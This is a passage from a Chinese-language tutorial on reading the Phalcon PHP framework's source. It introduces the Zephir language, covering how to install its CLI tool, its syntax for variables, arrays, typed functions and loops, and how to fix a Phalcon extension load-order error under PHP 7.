从代码中可以看出,它只是new了Route类,然后将路径,操作和http方法等参数传入其中,最后根据position参数来决定将该路由append到最前面或者最后面(其实这里感觉可以使用array_unshift插入而不是使用array_merge这种奇怪的写法)

最后,关于Route类,其实没什么好说的,有兴趣的可以自己看下其代码研究,这个类的文件位置在前面也提过了。值得提起的一点是,Route类中大部分方法返回值都是this,这样就可以达成链式调用了,如:

$route->add('/index', 'IndexController::indexAction')->via('post');

Phalcon源码阅读(1):Zephir

众所周知,Phalcon这个框架是作为php底层c扩展嵌入php运行时(Runtime)的,也因为它的这个特性,使得它的运行效率要比其他框架高了许多。

然而,在阅读了Phalcon的源码后,你会发现它其实并不是使用C语言编写的(What?),而是使用了一门叫做Zephir的语言。

因此,在正式开始阅读Phalcon的源码之前,我们需要先了解下这门Zephir语言。

什么是Zephir

Zephir是一门专门用来编写php扩展的语言,它采用了与PHP类似的语法,并且在代码中你可以直接调用PHP的内置函数以及扩展中的函数(只要保证编译时的编译顺序即可),完成代码的编写后进行编译,Zephir便会将你写的Zephir代码转化成C代码,这时候在进行一次gcc的编译就可以编译成PHP的底层扩展啦~

可以说,Zephir这门语言适用于习惯于PHP语法,想写PHP扩展然而又是C语言苦手的人(比如我)。它的出现解决了PHP扩展“高冷”的特性,让编写PHP扩展变为了一件简单的事情。

安装Zephir Cli工具

在安装Zephir之前,你需要满足以下要求:

  • gcc >= 4.x/clang >= 3.x

  • re2c 0.13 or later

  • gnu make 3.81 or later
  • autoconf 2.31 or later
  • automake 1.14 or later
  • libpcre3
  • php development headers and tools

以上这些依赖基本都可以通过包管理器进行安装,例如ubuntu下,可以运行如下命令:

$ sudo apt-get update
$ sudo apt-get install re2c php7.0 php7.0-json php7.0-dev git gcc makelibpcre3-dev

之后很简单,运行如下命令即可:

$ git clone https://github.com/phalcon/zephir
$ cd zephir
$ ./install -c

安装完成后可以通过如下命令进行测试;

$ zephir help

语法

前面说过,zephir这门语言的语法大致上与php相近,因此这里只提几点不同的点:

命名空间

Zephir的文件后缀名为zep,每个文件都必须包含且只能包含一个类。每个类必须有一个命名空间,且目录结构必须跟类名和命名空间匹配。例如下面的目录结构:

Phalcon/
    mvc/
        router/
            exception.zep
        router.zep

那么,exception文件的命名空间如下:

namespace Phalcon\mvc\router;

class Exception extends \Exceptions {

}

变量

在zephir中,变量可以如下声明:

// 可以使用var来定义变量,或者指定具体的变量类型
var a;
int b;
bool c = true;

// 可以在一行里声明多个变量
var a = "hello", b = 0, c;

Zephir不支持全局变量,也不允许访问用户域的全局变量,但是可以访问PHP的超级全局变量:

var arg = _POST["arg"];

var requestMethod = _SERVER["REQUEST_METHOD"];

然而,要修改变量值时,需要使用let关键字,如:

var a = "xxx";
let a = "zzz";

数组

数组可以使用var关键字和array关键字声明:

var arr1 = [];
array arr2 = [];

// 关联数组
var arr = [
  "foo" : "bar",
  "arg" : "arg1"
];

数组的操作方式与php相同,既可以使用index,也可以使用hash table的key,如上所示。

函数声明

Zephir中的函数支持PHP中可选参数的方式,同时也支持静态类型:

public function doSum(a, b = 3)
{
    return a + b;
}

public function doSum2(int a = 4, int b = 2)
{
    return a + b;
}

使用静态类型参数时,如果传入的参数类型不一致,Zephir会试图对传入值进行类型的转换。如果基于某些考虑不想Zephir自动去做这个事情,我们可以通过添加一个!号禁止这个行为,例如,在Phalcon的Di Container中,注入Service时并不清楚传入的是字符串或者是class object,因此在定义时可以使用这种方法以防止自动转型。

// we don't know if the param is a string or a class
new Service('Namespace/ServiceClass');
new Service(Namespace/ServiceClass::class)

// sp we can define it like this:
public function __construct(string! service) {
    // other codes...
}

此外,Zephir还提供了方法返回类型的提示功能,使得编译器可以知道方法返回的类型:

class MyClass
{
    public function getSomeData() -> string
    {
        // 这里会抛出编译异常。因为返回值是布尔型,跟期待的返回类型不一致
        return false;
    }

    public function getSomeOther() -> <App\MyInterface>
    {
        // 这里会抛出编译异常,如果返回的对象不是App\MyInterface接口的一个实现
        return new App\MyObject;
    }

    public function process()
    {
        var myObject;

        // 类型提示会告诉编译器myObject是App\MyInterface的一个实例
        let myObject = this->getSomeOther();

        // 编译器会检查App\MyInterface是否实现了一个叫someMethod的方法
        echo myObject->someMethod();
    }

    // 一个方法可以有多个的返回类型,使用|进行分隔
    public function getSomeData2(a) -> string | bool
    {
        if a == false {
            return false;
        }
        return "error";
    }

    // 如果返回类型为void,则表示此方法不允许返回任何数据
    public function setConnection(connection) -> void
    {
        let this->_connection = connection;
    }

}

built-in functions

Zephir自身也提供了一系列的内置方法,如strlen,memstr等。

更详细的内置方法使用方式请看这里:https://docs.zephir-lang.com/en/latest/builtin-methods.html

循环

循环语句中,用whileloopfor三种语句。

while语句跟PHP差不多,loop为Zephir增加的语句,用于创建一个无限的循环,for的用法则有点类似于PHP中的foreach语句:

// 循环数组
for item in ["a", "b", "c", "d"] {
    echo item, "\n";
}

let items = ["a": 1, "b": 2, "c": 3, "d": 4];

for key, value in items {
    echo key, " ", value, "\n";
}

// 遍历字符串
string language = "zephir"; char ch;

for ch in language {
    echo "[", ch ,"]";
}

三种循环语句中均支持break语句和continue语句。

需要注意

在安装Phalcon时,PHP7以上的版本可能会报如下错误:

php fatal error: class jsonserializable not found in unknown on line 0

这是前面说到的,Phalcon中调用了php-json扩展中的类,加载顺序又在json这个扩展前面的缘故所致。因此在加载时自然识别不了这个类,就报错了,解决方法也很简单,就是改变加载顺序即可。

以php-fpm模式为例(CLI模式则将目录换为/etc/php/7.0/cli/conf.d/即可):

在/etc/php/7.0/fpm/conf.d/这个目录中添加一个文件,命名为50-phalcon.ini,在其中插入如下内容:

extension=phalcon.so

注意,前面这个数字不一定为50,只要比该目录下xx-json.ini中的xx这个数字大即可,这样php便会自行安排好加载顺序,使phalcon在json扩展之后加载。